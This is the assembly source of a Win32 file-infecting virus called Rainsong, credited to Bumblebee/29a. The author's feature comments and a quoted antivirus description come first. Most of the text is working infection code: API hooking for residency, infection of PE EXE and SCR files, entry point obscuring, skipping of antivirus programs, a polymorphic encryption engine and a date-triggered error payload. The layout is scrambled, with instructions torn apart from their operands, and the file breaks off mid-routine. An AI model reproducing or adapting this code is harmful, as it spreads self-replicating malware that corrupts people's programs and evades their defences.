; not work in future versions of win32. But if i can rely in the stack i ; hope it will work also if the kernel changes its address. ; . Gets needed API scanning kernel32.dll in memory using CRC32 instead ; of names. ; . Infects PE files increasing last section. ; . Increases virtual size the amount of bytes needed to have memory for ; temporary data. (virt size>phys size) ; . Takes care of relocations in execution time. ; . Uses size padding as infection sign. ; . Avoids infect most used AV. ; . Per-process resident hooking: ; CreateFileA ; MoveFileA ; CopyFileA ; CreateProcessA ; SetFileAttributesA ; GetFileAttributesA ; SearchPathA ; . Gets the path from the hooked calls to the APIs and infects the ; files found in the directory. ; . Has a runtime part that infects files in windows directory. ; . Infects PE with the extension EXE and SCR. ; . It has 2 layers of encryption. First polymorphic and second a simple ; not loop. This is due to 1st layer uses 32 bits key and i don't want ; bytes unencrypted. ; . Has EPO (Entry Point Obscuring) tech patching a call into the code ; section of the infected program. Supports also the more standard way ; of patching PE header, but avoids it if possible trying to do light ; EPO adding a jmp to the virus at the end of the original code section. ; ; ; AVP Description ÄÄ[comments]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Win32.Rainsong ; ;This is a dangerous per-process memory resident parasitic polymorphic ;Win32 virus. It searches for PE EXE files (Windows executable files) in ;Windows directory and infects them. Then it stays in Windows memory as a ;component of host application and affects PE EXE files that are accessed ;by host application. ; ;While infecting the virus writes itself to the end of the file by increasing ;the size of last file section. The virus uses "Entry Point Obscuring" methods ;and while infecting it does not modify program's entry address. To receive ;control when infected program is run, the virus scans victim file body, looks ;for a CALL command and replaces it with "JUMP VirusEntry" code. As a result ;the virus gets control not immediately at infected file start, but only in ;case the patched file code receives control. ; ;The virus has a bug and often corrupt files while infecting them. ;[This is true due i don't check if the import section has write attributes] ;[RainSong will corrupt all the windows file in win98 se :(] ; ;The virus avoids several anti-virus files infection, it detects them by two ;first letters in file name: AV*, AN*, DR*, ID*, OD*, TB*, F-*. ;[They NEVER analize the algo!!! A file called ?????AV.??? is never infected] ;[Why they insist in the 'two fist letters' shit?] ; ;On April 6th it generates Windows error message with the text: ; ;ASIMOV Jan.2.1920 - Apr.6.1992 ; ;The virus also contains the text: ;

;< The Rain Song Coded By Bumblebee/29a > ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; The source is commented so... have fun! ; After i've released it i've found 2 little bugs :( ; But don't worry, it work fine. See comments. ; ; ; The way of the bee ; .486p locals .model flat,STDCALL extrn vSize crptSize PADDING STRINGTOP ExitProcess:PROC equ equ equ equ vEnd-vBegin crptEND-crptINI 101 160 ; needed for 1st generation

; from BC++ Win32 API on-line Reference WIN32_FIND_DATA struc dwFileAttributes dd 0 dwLowDateTime0 dd ? ; creation dwHigDateTime0 dd ? dwLowDateTime1 dd ? ; last access dwHigDateTime1 dd ? dwLowDateTime2 dd ? ; last write dwHigDateTime2 dd ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved dd 0,0 cFileName db 260 dup(0) cAlternateFilename db 14 dup(0) db 2 dup(0) WIN32_FIND_DATA ends .DATA ; dummy data db 'WARNING - This is a virus carrier - WARNING' .CODE vBegin label byte inicio: ; call for the polymorphic decryptor call crypt crptINI label byte ; a lame 2nd layer call secondLayerDecrypt crptSecondINI label byte ; to store the return to host address push offset fakeHost hostRET equ $-4 pushad ; to support relocs push offset inicio virusEP equ $-4 ; get delta offset

call ; setup pop lea sub add add

getDelta relocations eax edx,inicio+ebp edx,eax dword ptr [esp+20h],edx dword ptr [imageBase+ebp],edx

; ; ; ; ;

get stored virus EP get current calc displacement fix hostRET fix image base

; Get Kernel32 address ; 1st check if we are in a EPO address mov eax,dword ptr [EPOAddr+ebp] or eax,eax jz getK32notEPO ; we canot rely on stack... try some addresses tryFix: mov inc call jnc mov call jnc mov call jnc mov call jc jmp esi,dword ptr [kernel32+ebp] esi GetKernel32 getAPIsNow esi,077e00001h GetKernel32 getAPIsNow esi,077f00001h GetKernel32 getAPIsNow esi,0bff70001h GetKernel32 returnHost getAPIsNow ; test latest

; test for win2k

; test for winNt

; test for win9x

getK32notEPO: ; use the value in the stack mov esi,dword ptr [esp+24h] call GetKernel32 jc tryFix getAPIsNow: ; now get APIs using CRC32 mov edi,12345678h kernel32 equ $-4 mov esi,edi mov esi,dword ptr [esi+3ch] add esi,edi mov esi,dword ptr [esi+78h] add esi,edi add esi,1ch lodsd add mov lodsd add mov lodsd add mov sub

eax,edi dword ptr [address+ebp],eax eax,edi dword ptr [names+ebp],eax eax,edi dword ptr [ordinals+ebp],eax esi,16

lodsd mov xor mov lea searchl: mov add mov add push xor movzx call xchg pop cmp je add inc push mov cmp pop je jmp fFound: shr add xor mov shl add mov add mov add xor mov lea cmp jb

dword ptr [nexports+ebp],eax edx,edx dword ptr [expcount+ebp],edx eax,FSTAPI+ebp

esi,dword ptr [names+ebp] esi,edx esi,dword ptr [esi] esi,edi eax edx edi edi,edi di,byte ptr [eax+4] CRC32 ebx,eax edi edx eax ebx,dword ptr [eax] fFound edx,4 dword ptr [expcount+ebp] edx edx,dword ptr [expcount+ebp] dword ptr [nexports+ebp],edx edx returnHost searchl edx,1 edx,dword ptr [ordinals+ebp] ebx,ebx bx,word ptr [edx] ebx,2 ebx,dword ptr [address+ebp] ecx,dword ptr [ebx] ecx,edi dword ptr [eax+5],ecx eax,9 edx,edx dword ptr [expcount+ebp],edx ecx,ENDAPI+ebp eax,ecx searchl

; we must make a memory copy of the virus and work there ; the original copy it's patched to return host. ; This is necessary due we could be called from a call more ; than once... just think what happens when you decrypt twice... push 00000040h push 00001000h OR 00002000h push (vSize+1000h) push 0h call dword ptr [_VirtualAlloc+ebp] or eax,eax jz returnHost lea mov mov rep lea esi,inicio+ebp edi,eax ecx,vSize movsb esi,hostRET-1

lea mov rep mov add push ret memCopy:

edi,inicio+ebp ecx,5 movsb byte ptr [edi],0c3h eax,offset memCopy-offset inicio eax

; get delta offset another time call getDelta lea push call lea cmp jne cmp jne lea push xor push call skipPay: ; alloc a temporary buffer to generate the poly sample ; of the virus ready to infect push 00000004h push 00001000h OR 00002000h push (vSize+1000h) push 0h call dword ptr [_VirtualAlloc+ebp] or eax,eax jz returnHost mov dword ptr [memHnd+ebp],eax edx,fileSize+ebp edx dword ptr [_GetSystemTime+ebp] edx,fileSize+ebp word ptr [edx+2],4 skipPay word ptr [edx+6],6 skipPay edx,message+ebp edx eax,eax eax dword ptr [_FatalAppExitA+ebp] ; check for Asimov ; death date

; bye bye ;)

; the same polymorphic routine is used for each infection ; in the current execution of the virus call dword ptr [_GetTickCount+ebp] mov edi,dword ptr [memHnd+ebp] add edi,vSize mov ecx,(crptSize/4)-(4-(crptSize MOD 4)) call GenDCrpt ; store the size of the sample (for infection process) ; and calc the virtual size mov dword ptr [virtsize+ebp],vSize cmp eax,BUFFERSIZE jb decryptorSmall add dword ptr [virtsize+ebp],eax jmp virtSizeOk decryptorSmall: add dword ptr [virtsize+ebp],BUFFERSIZE virtSizeOk: add eax,vSize mov dword ptr [gensize+ebp],eax ; Hook the API to get per-process residency ; Notice this must be called before any infection

call lea push push call or jz push lea push call or jz lea push call or jz call lea push call

hookApi esi,stringBuffer+ebp ; get current directory esi STRINGTOP dword ptr [_GetCurrentDirectoryA+ebp] eax,eax returnHost STRINGTOP ; get windows directory esi,tmpPath+ebp esi dword ptr [_GetWindowsDirectoryA+ebp] eax,eax returnHost esi,tmpPath+ebp ; goto windows directory esi dword ptr [_SetCurrentDirectoryA+ebp] eax,eax returnHost infectDir ; infect!! buahahahah! ; estoooo ; go back home ;)

esi,stringBuffer+ebp esi dword ptr [_SetCurrentDirectoryA+ebp]

returnHost: popad ret ; ; Returns Delta offset into ebp. ; getDelta: call delta delta: pop ebp sub ebp,offset delta ret ; ; General hook. This routine is for all the hooks. ; We have into esi the path to analize, the address of the ; original API in the stack (plus a pushad) and the delta ; offset into ebp. I use a semaphore 'cause the virus doesn't support ; multithread. In case hooked API is called by other thread while ; the virus is in the infection process could be fatal. I'm not sure ; 100% this is necessary but... ;) ; generalHook: pushfd cld ; set sem to working mov byte ptr [semHook+ebp],1 call jc push lea push call pop stringUp hookInfectionFail edi edx,stringBuffer+ebp edx dword ptr [_GetFileAttributesA+ebp] edi

inc jz dec and jnz lea cmp je cmp jne

eax hookInfectionFail eax eax,00000010h infectPath edx,stringBuffer+ebp word ptr [edx+1],'\:' getPath word ptr [edx],'\\' infectCurrent ; it's a directory?

; absolute path?

; absolute path?

; if it's an absolute path to a file we quit the ; filename and try the directory getPath: cmp je dec cmp je jmp pathOk: mov dword ptr [edi],0 ; now we have a path byte ptr [edi],'\' pathOk edi edx,edi hookInfectionFail getPath

; infects the path changing directory infectPath: ; get current directory lea esi,tmpPath+ebp push esi push STRINGTOP call dword ptr [_GetCurrentDirectoryA+ebp] or eax,eax jz hookInfectionFail ; set current directory to path lea esi,stringBuffer+ebp push esi call dword ptr [_SetCurrentDirectoryA+ebp] or eax,eax jz hookInfectionFail call infectDir

; restore current directory lea esi,tmpPath+ebp push esi call dword ptr [_SetCurrentDirectoryA+ebp] jmp hookInfectionFail

; infects current directory 'cause we haven't any path ; to check (and the accessed file it's just there!) infectCurrent: call infectDir hookInfectionFail: ; set sem to free mov byte ptr [semHook+ebp],0 popfd popad

ret ; ; Nice macro ;) ; @hook macro push pushad call mov mov mov or jz cmp je @@skipThisCall: popad ret endm ; ; The hooks. ; Hook0: @hook Hook1: @hook Hook2: @hook Hook3: @hook Hook4: @hook Hook5: @hook Hook6: @hook Hook7: @hook

ApiAddress eax getDelta eax,dword ptr [ApiAddress+ebp] dword ptr [esp+20h],eax esi,dword ptr [esp+28h] esi,esi @@skipThisCall byte ptr [semHook+ebp],0 generalHook ; skip NULLs in filename

_CreateFileA _MoveFileA _CopyFileA _CreateProcessA _SetFileAttributesA _GetFileAttributesA _SearchPathA _SetCurrentDirectoryA ; ; ; ; ; this data it's included but not used... ops i can remove it, but better it fits the released binary i realized this bug after release

; ; This routine hooks the API that gives the virus per-process residency. ; The image base address is stored in the infection process. ; hookApi: pushad ; init the sem to free mov byte ptr [semHook+ebp],0 mov edx,400000h imageBase equ $-4 cmp word ptr [edx],'ZM' jne noHook mov edi,edx add edi,dword ptr [edx+3ch] cmp word ptr [edi],'EP' jne noHook mov edi,dword ptr [edi+80h] ; RVA import add edi,edx searchK32Imp: mov esi,dword ptr [edi+0ch] ; get name

or esi,esi jz noHook add esi,edx push edi ; save (stringUp doesn't) call stringUp pop edi jc nextName lea esi,stringBuffer+ebp cmp dword ptr [esi],'NREK' ; look for Kernel32 module jne nextName cmp dword ptr [esi+4],'23LE' je k32ImpFound nextName: add edi,14h mov esi,dword ptr [edi] or esi,esi jz noHook jmp searchK32Imp k32ImpFound: mov esi,dword ptr [edi+10h] ; get address table or esi,esi jz noHook add esi,edx lea ecx,HOOKTABLEEND+ebp nextImp: ; search for APIs lea edx,HOOKTABLEBEGIN+ebp lodsd or eax,eax jz noHook checkNextAPI: mov edi,dword ptr [edx] cmp eax,dword ptr [edi+ebp] je doHook add edx,8 cmp edx,ecx jne checkNextAPI jmp nextImp doHook: mov eax,dword ptr [edx+4] add eax,ebp mov dword ptr [esi-4],eax add edx,8 cmp edx,ecx jne nextImp noHook: popad ret ; ; Changes to upper case the string by esi storing into stringBuffer. ; Sets carry flag if our string buffer is small. Returns in edi the ; end of the string into the buffer. Requires SEH. ; stringUp: push esi eax lea edi,stringBuffer+ebp mov eax,edi add eax,STRINGTOP stringUpLoop: cmp eax,edi jne continueStringUp stc jmp stringUpOut continueStringUp:

movsb cmp byte ptr [esi-1],'a' jb skipThisChar cmp byte ptr [esi-1],'z' ja skipThisChar add byte ptr [edi-1],'A'-'a' skipThisChar: cmp byte ptr [esi-1],0 jne stringUpLoop dec edi clc stringUpOut: pop eax esi ret ; ; This routine gets Kernel32 address. Uses SEH. ; The main purpose of this routine is search for the k32 address using ; a 'guess' address from the stack. But i cannot rely on the stack when ; the virus starts from EPO. Look the pieze of code that calls this ; routine to see how to fix it easily. ; Take a look to the article by Lethal Mind/29a from 29a#4 for more ; information about this method. ; GetKernel32: pushad xor edx,edx lea eax,dword ptr [esp-8h] xchg eax,dword ptr fs:[edx] lea edi,GetKernel32Exception+ebp push edi push eax GetKernel32Loop: dec esi cmp word ptr [esi],'ZM' jne GetKernel32Loop mov dx,word ptr [esi+3ch] test dx,0f800h jnz GetKernel32Loop cmp esi,dword ptr [esi+edx+34h] jne GetKernel32Loop mov dword ptr [kernel32+ebp],esi xor pop pop popad clc ret edi,edi dword ptr fs:[edi] eax

; 'poda' -> this makes algo ; faster

GetKernel32Exception: xor edi,edi mov eax,dword ptr fs:[edi] mov esp,dword ptr [eax] xor edi,edi pop dword ptr fs:[edi] pop eax popad stc ret ; ; This routine makes CRC32. ;

CRC32: cld xor dec ecx,ecx ecx edx,ecx ebx

mov push NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret ; ; Updates the virus sample ready to infect in our memory buffer. ; updateVSample: lea esi,vBegin+ebp mov edi,dword ptr [memHnd+ebp] mov ecx,vSize rep movsb mov ecx,crptSecondEND-crptSecondINI mov esi,crptSecondINI-vBegin add esi,dword ptr [memHnd+ebp] secondEnLayerLoop: not byte ptr [esi] inc esi loop secondEnLayerLoop mov ecx,dword ptr [CodeSize+ebp] mov esi,crptINI-vBegin add esi,dword ptr [memHnd+ebp] mov eax,dword ptr [CrptKey+ebp] encrptLoop: xor dword ptr [esi],eax add esi,4 loop encrptLoop ret ; ; Infects PE file increasing last section.

; ; ESI: addr of file name of PE to infect. ; infect: pushad mov dword ptr [fNameAddr+ebp],esi push push call pop inc jz dec mov push push push call pop or jz xor push push push push push push push call inc jz dec mov push push call inc jz dec mov lea push lea push lea push push call or jz xor push push esi esi dword ptr [_GetFileAttributesA+ebp] esi eax infectionError eax dword ptr [fileAttrib+ebp],eax esi 00000080h esi dword ptr [_SetFileAttributesA+ebp] esi eax,eax infectionError eax,eax eax 00000080h 00000003h eax eax 80000000h OR 40000000h esi dword ptr [_CreateFileA+ebp] eax infectionErrorAttrib eax dword ptr [fHnd+ebp],eax 0h eax dword ptr [_GetFileSize+ebp] eax infectionErrorClose eax dword ptr [fileSize+ebp],eax edi,fileTime2+ebp edi edi,fileTime1+ebp edi edi,fileTime0+ebp edi dword ptr [fHnd+ebp] dword ptr [_GetFileTime+ebp] eax,eax infectionErrorClose eax,eax eax eax

push push push push call or jz mov xor push push push push push call or jz mov mov cmp jne add cmp ja add cmp jb cmp jne mov test jz and jnz mov dec jz mov mov mov add add mov push mov mov dec mul add pop test jnz

eax 00000004h eax dword ptr [fHnd+ebp] dword ptr [_CreateFileMappingA+ebp] eax,eax infectionErrorClose dword ptr [fhmap+ebp],eax eax,eax eax eax eax 00000004h OR 00000002h dword ptr [fhmap+ebp] dword ptr [_MapViewOfFile+ebp] eax,eax infectionErrorCloseMap dword ptr [mapMem+ebp],eax edi,eax word ptr [edi],'ZM' infectionErrorCloseUnmap edi,dword ptr [edi+3ch] eax,edi infectionErrorCloseUnmap eax,dword ptr [fileSize+ebp] eax,edi infectionErrorCloseUnmap word ptr [edi],'EP' infectionErrorCloseUnmap edx,dword ptr [edi+16h] edx,2h infectionErrorCloseUnmap edx,2000h infectionErrorCloseUnmap dx,word ptr [edi+5ch] edx infectionErrorCloseUnmap edx,edi esi,edi eax,18h ax,word ptr [edi+14h] edi,eax dword ptr [fstSec+ebp],edi edx cx,word ptr [esi+06h] ax,28h cx cx edi,eax edx dword ptr [edi+24h],10000000h infectionErrorCloseUnmap ; avoid this kind of section ; we can corrupt it!

; avoid fucking headers

; avoid fucking headers

; test it's a valid PE ; i want executable ; i don't want DLL

; i don't want NATIVE

test jz mov add mov

dword ptr [edi+24h],0e0000020h infectionErrorCloseUnmap eax,dword ptr [edi+10h] eax,dword ptr [edi+14h] dword ptr [fileSize+ebp],eax

; mmm... This is infected yet ; another bug! must be jnz ; i rely on the headers...

sub eax,dword ptr [edi+14h] ; calc our RVA add eax,dword ptr [edi+0ch] mov dword ptr [myRVA+ebp],eax ; save virus entry point to calc relocations in ; execution time add eax,dword ptr [esi+34h] mov dword ptr [virusEP+ebp],eax mov push mov xor div inc or jz xor mul mov rvaFixDone: eax,dword ptr [edi+08h] edx ecx,dword ptr [edx+38h] edx,edx ecx eax edx,edx rvaFixDone edx,edx ecx dword ptr [edi+08h],eax ; ; ; ; fix the virtual size if needed some PE have strange virt size (cdplayer p.e.)

; save the fixed virt size

; save image base for hook API mov edx,dword ptr [esi+34h] mov dword ptr [imageBase+ebp],edx pop edx call jc push mov add mov add sub sub mov xchg add add mov pop jmp notEPO: call jc push mov add mov mov add sub lightEPO notNotEPO edx ecx ecx,dword ecx,dword edx,dword dword ptr edx,dword ecx,edx ; try light EPO searchEPO notEPO edi edx ecx edx,dword ptr [myRVA+ebp] edx,dword ptr [esi+34h] edi,dword ptr [EPORva+ebp] edi,dword ptr [esi+34h] edx,edi edx,5 ecx,dword ptr [EPOAddr+ebp] dword ptr [ecx+1],edx edx,edi edx,5 dword ptr [hostRET+ebp],edx ecx edx edi yeahEPO ; Search for a call

; patch the call ; edx = dest rva ; edi = call rva ; edx patch the call

; get the rva ; and store it ;)

; add the jump ptr [myRVA+ebp] ptr [esi+34h] ptr [EPORva+ebp] [myRVA+ebp],edx ptr [esi+34h] ; ecx = dest rva

; edx = jmp rva

sub ecx,5 ; ecx the addr jmp mov edx,dword ptr [EPOAddr+ebp] mov byte ptr [edx],0e9h mov dword ptr [edx+1],ecx pop ecx edx ; now lets the header be patched with this data ;) notNotEPO: ; if i can't found a nice call to patch and i can't add ; a jump in the end of the code section i use the non-EPO ; infection. This could be a problem for the wild time ; of the virus 'cause heuristics can fake it easily ; but we want to be infectious ;) push edi ; store new ep and get old mov edi,dword ptr [myRVA+ebp] ; set edi=new ep mov dword ptr [EPOAddr+ebp],0 ; getk32 changes if epo! xchg add mov pop yeahEPO: push mov mov xor div inc xor mul pop add add or push mov mov xor div inc xor mul pop add push mov add xor div inc xor mul mov pop edx eax,dword ptr [virtsize+ebp] ecx,dword ptr [edx+38h] edx,edx ecx eax edx,edx ecx edx dword ptr [edi+08h],eax dword ptr [edx+50h],eax dword ptr [edi+24h],0e0000020h edx eax,dword ptr [gensize+ebp] ecx,dword ptr [edx+3ch] edx,edx ecx eax edx,edx ecx edx dword ptr [edi+10h],eax edx ecx,PADDING eax,dword ptr [fileSize+ebp] edx,edx ecx eax edx,edx ecx dword ptr [pad+ebp],eax edx ; calc the new virtual size ; for the section edi,dword ptr [esi+28h] edi,dword ptr [esi+34h] dword ptr [hostRET+ebp],edi edi ; get host EP and set new ; save it

; fix the virtual size ; fix the image size ; set the properties ; calc new size for ; the section

; store the phys size ; calc file padding ; (infection sign)

; update the virus sample ready to infect. call updateVSample

push call push call xor push push push push push push call or jz mov xor push push push push push call or jz mov mov mov mov add rep xchg mov sub mov sub xor rep

dword ptr [mapMem+ebp] dword ptr [_UnmapViewOfFile+ebp] dword ptr [fhmap+ebp] dword ptr [_CloseHandle+ebp] eax,eax eax dword ptr [pad+ebp] eax 00000004h eax dword ptr [fHnd+ebp] dword ptr [_CreateFileMappingA+ebp] eax,eax infectionErrorClose dword ptr [fhmap+ebp],eax eax,eax dword ptr [pad+ebp] eax eax 00000004h OR 00000002h dword ptr [fhmap+ebp] dword ptr [_MapViewOfFile+ebp] eax,eax infectionErrorCloseMap dword ptr [mapMem+ebp],eax ecx,dword ptr [gensize+ebp] esi,dword ptr [memHnd+ebp] edi,eax edi,dword ptr [fileSize+ebp] movsb ecx,eax eax,edi eax,ecx ecx,dword ptr [pad+ebp] ecx,eax eax,eax stosb ; Why i want the padding ; to be zeroes? ; bah only one 'pijada'

infectionErrorCloseUnmap: push dword ptr [mapMem+ebp] call dword ptr [_UnmapViewOfFile+ebp] infectionErrorCloseMap: push dword ptr [fhmap+ebp] call dword ptr [_CloseHandle+ebp] lea push lea push lea push push call edi,fileTime2+ebp edi edi,fileTime1+ebp edi edi,fileTime0+ebp edi dword ptr [fHnd+ebp] dword ptr [_SetFileTime+ebp]

infectionErrorClose:

push call

dword ptr [fHnd+ebp] dword ptr [_CloseHandle+ebp]

infectionErrorAttrib: push dword ptr [fileAttrib+ebp] push dword ptr [fNameAddr+ebp] call dword ptr [_SetFileAttributesA+ebp] infectionError: popad ret ; ; This my 'search EPO' routine. Searches for a call into the code section ; that points to: ; ; push ebp ; mov ebp,esp ; ; This is the way the high level lenguages get the arguments used to call ; a procedure. If this code is found i assume the call found it's correct ; and i patch it to jump into the virus. ; ; I tested selecting the call randomly, but this is not needed. There ; could be calls that points the desired code and call that are not ; useful for the virus. Av cannot know wich is the call patched utill ; it finds it. Moreover using 1st found call i'm more sure that the virus ; will be executed! And this is good enought to fuck most cool heuristics. ; searchEPO: pushad mov edi,dword ptr [esi+28h] ; get host EP xor mov mov sectionLoop: mov add cmp jb add dec jnz stc jmp sectionFound: test jnz push sub add mov cmp jna sub add mov add sub ecx,ecx cx,word ptr [esi+06h] esi,dword ptr [fstSec+ebp]

; number of sections ; get 1st section addr ; look for code section

ebx,dword ptr [esi+0ch] ebx,dword ptr [esi+08h] edi,ebx sectionFound esi,28h ecx sectionLoop searchEPOOut

; test it's inside this ; section

dword ptr [esi+24h],10000000h searchEPOFail esi edi,dword ptr edi,dword ptr ecx,dword ptr ecx,edi searchEPOFail ecx,edi edi,dword ptr ebx,edi ebx,ecx ebx,10h

; avoid this kind of section ; we can corrupt it!

[esi+0ch] [esi+14h] [esi+10h]

; get raw address

[mapMem+ebp]

; high secure fence

callLoop: ; loop that searches cmp byte ptr [edi],0e8h ; for the call jne continueCallLoop mov edx,edi add edx,dword ptr [edi+1] add edx,5 cmp ebx,edx jb continueCallLoop cmp edx,dword ptr [mapMem+ebp] jb continueCallLoop mov esi,edx mov dx,word ptr [esi] cmp dx,08b55h jne continueCallLoop mov dx,word ptr [esi+1] cmp dx,0ec8bh jne continueCallLoop mov dword ptr [EPOAddr+ebp],edi sub edi,dword ptr [mapMem+ebp] pop esi add edi,dword ptr [esi+0ch] ; get rva address sub edi,dword ptr [esi+14h] mov dword ptr [EPORva+ebp],edi clc jmp searchEPOOut continueCallLoop: inc edi loop callLoop searchEPOFail: pop esi stc searchEPOOut: popad ret ; ; This makes a light EPO. Looks for space in the code section to ; put there a jump to virus code. The header is patched but this ; patch is less notorious. This EPO requires phys size of section ; bigger than virtual size + 5 (the size of the jump). ; lightEPO: pushad mov edi,dword ptr [esi+28h] ; get host EP xor mov mov ecx,ecx cx,word ptr [esi+06h] esi,dword ptr [fstSec+ebp]

; number of sections ; get 1st section addr ; look for code section ; test it's inside this ; section

lightSectionLoop: mov ebx,dword ptr [esi+0ch] add ebx,dword ptr [esi+08h] cmp edi,ebx jb lightSectionFound add esi,28h dec ecx jnz lightSectionLoop lightEPOFail: stc jmp lightEPOOut lightSectionFound: test dword ptr [esi+24h],10000000h jnz lightEPOFail

; avoid this kind of section ; we can corrupt it!

mov eax,dword ptr [esi+08h] add eax,5 cmp eax,dword ptr [esi+10h] ja lightEPOFail mov edi,dword ptr [mapMem+ebp] add edi,dword ptr [esi+08h] add edi,dword ptr [esi+14h] mov dword ptr [esi+08h],eax mov dword ptr [EPOAddr+ebp],edi sub edi,dword ptr [mapMem+ebp] add edi,dword ptr [esi+0ch] sub edi,dword ptr [esi+14h] mov dword ptr [EPORva+ebp],edi clc lightEPOOut: popad ret ; ; Infects PE files in current directory. ; infectDir: pushad lea push lea push call inc jz dec mov findNext: lea call lea push sub cmp pop jna cmp je cmp jne validFileExt: mov cmp jb mov xor div or jz testIfAv: lea mov edi,avStrings+ebp ecx,vStringsCout esi,find_data+ebp esi esi,fndMask+ebp esi dword ptr [_FindFirstFileA+ebp] eax notFound eax dword ptr [findHnd+ebp],eax

; virtual size ; plus the code we add ; bigger than phys size? ; get raw address

; increase 5 bytes

; get rva address

esi,find_data.cFileName+ebp stringUp esi,stringBuffer+ebp edi edi,esi edi,5 edi skipThisFile dword ptr [edi-4],'EXE.' validFileExt dword ptr [edi-4],'RCS.' skipThisFile

; test the string it's ; long enought

eax,dword ptr [find_data.nFileSizeLow+ebp] eax,4000h skipThisFile ; at least 4000h bytes? ecx,PADDING ; test if it's infected edx,edx ; yet ecx edx,edx ; reminder is zero? skipThisFile ; let's search for strings ; that may appear in av progs

testIfAvL: push mov testAvLoop: cmp jne pop jmp contTestLoop: inc cmp jne pop add loop call skipThisFile: lea push push call or jnz push call notFound: popad ret

esi ax,word ptr [edi] word ptr [esi],ax contTestLoop esi skipThisFile esi byte ptr [esi+3],0 testAvLoop esi edi,2 testIfAvL infect

; skip the ext

esi,find_data+ebp esi dword ptr [findHnd+ebp] dword ptr [_FindNextFileA+ebp] eax,eax findNext dword ptr [findHnd+ebp] dword ptr [_FindClose+ebp]

; Find next file

; ; Virus data --------------------------------------------------------------; HOOKTABLEBEGIN label byte dd offset _CreateFileA dd offset Hook0 dd offset _MoveFileA dd offset Hook1 dd offset _CopyFileA dd offset Hook2 dd offset _CreateProcessA dd offset Hook3 dd offset _SetFileAttributesA dd offset Hook4 dd offset _GetFileAttributesA dd offset Hook5 dd offset _SearchPathA dd offset Hook6 HOOKTABLEEND label byte EPOAddr dd 0 copyright db '< The Rain Song Coded By Bumblebee/29a >',0dh,0ah ; little tribute 'ASIMOV Jan.2.1920 - Apr.6.1992',0 label dd db dd byte 08c892ddfh 12 0

message FSTAPI CrcCreateFileA _CreateFileA

db

CrcMapViewOfFile _MapViewOfFile CrcCreatFileMappingA _CreateFileMappingA CrcUnmapViewOfFile _UnmapViewOfFile CrcCloseHandle _CloseHandle CrcFindFirstFileA _FindFirstFileA CrcFindNextFileA _FindNextFileA CrcFindClose _FindClose CrcVirtualAlloc _VirtualAlloc CrcGetTickCount _GetTickCount CrcGetFileTime _GetFileTime CrcSetFileTime _SetFileTime CrcSetFileAttributesA _SetFileAttributesA CrcGetFileAttributesA _GetFileAttributesA CrcGetFileSize _GetFileSize CrcGetSystemTime _GetSystemTime CrcFatalAppExitA

dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db

0797b49ech 14 0 096b2d96ch 19 0 094524b42h 16 0 068624a9dh 12 0 0ae17ebefh 15 0 0aa700106h 14 0 0c200be21h 10 0 04402890eh 13 0 0613fd7bah 13 0 04434e8feh 12 0 04b2a3e7dh 12 0 03c19e536h 19 0 0c633d3deh 19 0 0ef7d811bh 12 0 075b7ebe8h 14 0 0253ab1b9h 14

_FatalAppExitA CrcMoveFileA _MoveFileA CrcCopyFileA _CopyFileA CrcCreateProcessA _CreateProcessA CrcSearchPathA _SearchPathA

dd dd db dd dd db dd dd db dd dd db dd

0 02308923fh 10 0 05bd05db1h 10 0 0267e0b05h 15 0 0f4d9d033h 12 0 0ebc6c18bh 21 0 0b2dbd7dch 21 0 0fe248274h 21 0 byte

CrcGetCurrentDirectoryA dd db _GetCurrentDirectoryA dd CrcSetCurrentDirectoryA dd db _SetCurrentDirectoryA dd CrcGetWindowsDirectoryA dd db _GetWindowsDirectoryA dd ENDAPI label

; AV: AVP, PAV, NAV, ... ; AN: SCAN, VISUSSCAN, ... ; DR: DRWEB ; ID: SPIDER ; OD: NOD-ICE ; TB: THUNDERBYTE... (this still exists?) ; F-: F-PROT, ... avStrings dw 'VA','NA','RD','DI','DO','BT','-F' vStringsCout equ (offset $-offset avStrings)/2 fndMask db '*.*',0 ; ; Virus data ends here ----------------------------------------------------; ; ; Polymorphic Engine (V2LPE - Very^2 Lame Polymorphic Engine) ; ; This is a simple polymorphic engine. Uses some piezes of code from ; AOCPE. Very, very lame :( But does its work as poly engine. May be ; its size the only one point for. ; ; EAX: CrptKey ; ECX: CodeSize (code to decrypt prepared yet) ; EDI: Destination address ; ; returns EAX: size of generated proc ; GenDCrpt: pushad ; setup regs status xor eax,eax lea edi,RegStatus+ebp mov ecx,8

rep popad mov mov mov mov push xor call mov call mov call call mov stosw call mov mov call call mov call call mov mov call call call mov mov call call mov mov call call push mov call call

stosb byte ptr [RegStatus+ebp+_EBP],1 byte ptr [RegStatus+ebp+_ESP],1 dword ptr [CrptKey+ebp],eax dword ptr [CodeSize+ebp],ecx edi eax,eax GetReg byte ptr [KeyReg+ebp],al AddShit cl,_EBP AddPushREG AddShit ax,0ec8bh

AddShit edx,04h cl,_EBP AddMovREGMEMEBP AddShit cl,byte ptr [KeyReg+ebp] AddPushREG AddShit cl,byte ptr [KeyReg+ebp] edx,dword ptr [CrptKey+ebp] AddMovREGINM AddShit GetReg byte ptr [LoopReg+ebp],al cl,al AddPushREG AddShit cl,byte ptr [LoopReg+ebp] edx,dword ptr [CodeSize+ebp] AddMovREGINM AddShit edi cl,byte ptr [KeyReg+ebp] AddXorMEMEBPREG AddShit

mov mov call call mov mov call pop mov sub push mov stosb pop mov xchg sub stosb call mov call call mov call mov call call mov call call mov stosb pop sub mov ret

